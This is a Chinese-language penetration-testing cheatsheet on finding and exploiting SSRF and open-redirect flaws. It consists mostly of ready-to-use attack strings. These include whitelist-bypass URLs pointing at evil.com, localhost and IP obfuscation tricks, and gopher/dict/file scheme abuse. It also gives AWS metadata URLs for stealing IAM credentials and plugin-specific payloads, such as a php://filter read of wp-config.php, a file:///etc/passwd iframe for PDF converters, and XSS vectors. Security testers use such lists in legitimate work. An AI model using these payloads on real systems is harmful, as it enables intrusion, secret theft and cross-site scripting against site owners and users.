本文是几个月前针对类似SSRF,URL开放重定向等漏洞的挖掘技巧的一个总结,可以作为一个渗透测试cheatsheet参考。
parameter
share, next, go, return, wap, link, src, source, target, u, 3g, display, url*, domain, .cgi, destination……
功能点
- 社交分享功能:获取超链接的标题等内容进行显示
- 转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览
- 在线翻译:给网址翻译对应网页的内容
- 图片加载/下载:例如富文本编辑器中的点击下载图片到本地;通过URL地址加载或下载图片
- 图片/文章收藏功能:主要其会读取URL地址中title以及文本的内容作为显示以求一个好的用户体验
- 云服务厂商:它会远程执行一些命令来判断网站是否存活等,所以如果可以捕获相应的信息,就可以进行ssrf测试
- 网站采集,网站抓取的地方:一些网站会针对你输入的url进行一些信息采集工作
- 数据库内置功能:数据库的比如mongodb的copyDatabase函数
- 邮件系统:比如接收邮件服务器地址
- 编码处理, 属性信息处理,文件处理:比如ffpmg,ImageMagick,docx,pdf,xml处理器等
- 未公开的api实现以及其他扩展调用URL的功能:可以利用google 语法加上这些关键字去寻找SSRF漏洞
- 从远程服务器请求资源(upload from url 如discuz!;import & expost rss feed 如web blog;使用了xml引擎对象的地方 如wordpress xmlrpc.php)
防御Bypass
[target:evil.com]
Tricks
http://evil.com:80/
http://evil.com#baidu.com
http://evil.com#baidu.com?baidu.com
http://baidu.com@evil.com
http://evil.com?baidu.com
http://evil.com$baidu.com
http://evil.com?baidu.com
http://evil.com\baidu.com
http://evil.com/baidu.com
http://baiduevil.com/
http://evil.com\\baidu.com
http://username@evil.com#@baidu.com
http://evil.com;.baidu.com
http://evil.com\.baidu.com
http://evilbaidu.com
http://baidu.com.evil.com
http://evil.com://baidu.com
http://evil.com&baidu.com
http://evil.com?jump=baidu.com
/evil.com (without protocol)
//evil.com (without protocol)
白名单
如果目标站使用了白名单,那么白名单域中可能存在重定向漏洞,可利用绕过白名单限制。
一些站点例如baidu,zhihu... 信任外部域并开启开放重定向功能,可作为中间介质导向恶意站点。
127.0.0.1(其他IP地址可同理变异)
http://127.0.0.1:22/
http://localhst:22/
http://localhost.backcover7.cc:22/
http://[::]:80/
http://0000::1:80/
http://shorturl.com/xxx
http://127。0。0。1/
xip.name, nip.io, ip6.name, sslip.io
http://www.127.0.0.1.xip.io/ #combine with the previous tricks
radix
http://www.ab126.com/system/2859.html #online tools
协议
0://url
https://url
dict://url
file://url
ftp://url
sftp://url
tftp://url
ldap://url
gopher://url
jar://
php://
weixin:// #client pseudo protocol
端口
给目标域加上端口可能有意向不到的效果
80,443,8080...
unicode字符
Enclosed alphanumerics
ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ >>> example.com
List:
① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳
⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇
⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛
⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵
Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ
ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ
⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴
⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿
其他技巧
- DNS Rebinding
- 上传文件,然后命名为URL地址,然后通过文件下载或读取功能引入。
- curl & 301/302 —> http://target.com/ssrf.php?u=http://vps.com/?redirect=x.x.x.x&port=80&info=xxx
- AWS EC2
http://169.254.169.254/latest/meta-data/{local-hostname, public-ipv4}
http://169.254.169.254/latest/user-data
http://169.254.169.254/latest/meta-data/iam/security-credentials - open redirect DoS
http://url/x.php?u=http://url/x.php?u=http://url/x.php?u=http://url/x.php?u=http://url/x.php?u - SSRF to XSS
https://robert-brook.com/parliament/index.php?page=http://brutelogic.com.br/poc.svg - cms & plugin
JIRA version7.3.5 https://<JIRA_BASEPATH/plugins/servlet/oauth/users/icon-uri?consumerUri=… - JSmol2WP version<1.07
http://localhost:8080/wp-content/plugins/jsmol2wp/php/jsmol.php?isform=true&call=getRawDataFromDatabase&query=php://filter/resource=../../../../wp-config.php - Qards
http://target/wp-content/plugins/qards/html2canvasproxy.php?url=http://google.com - convert HTML to PDF
"><iframe src="file:///etc/passwd"></iframe>
"><svg/onload=document.write(document.location)> - imagemagick
?u=http://x/imagemagicPOC.gif - XSS
?url=<img/src/onerror=alert(1)>
?url=data://text/plain;base64,PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==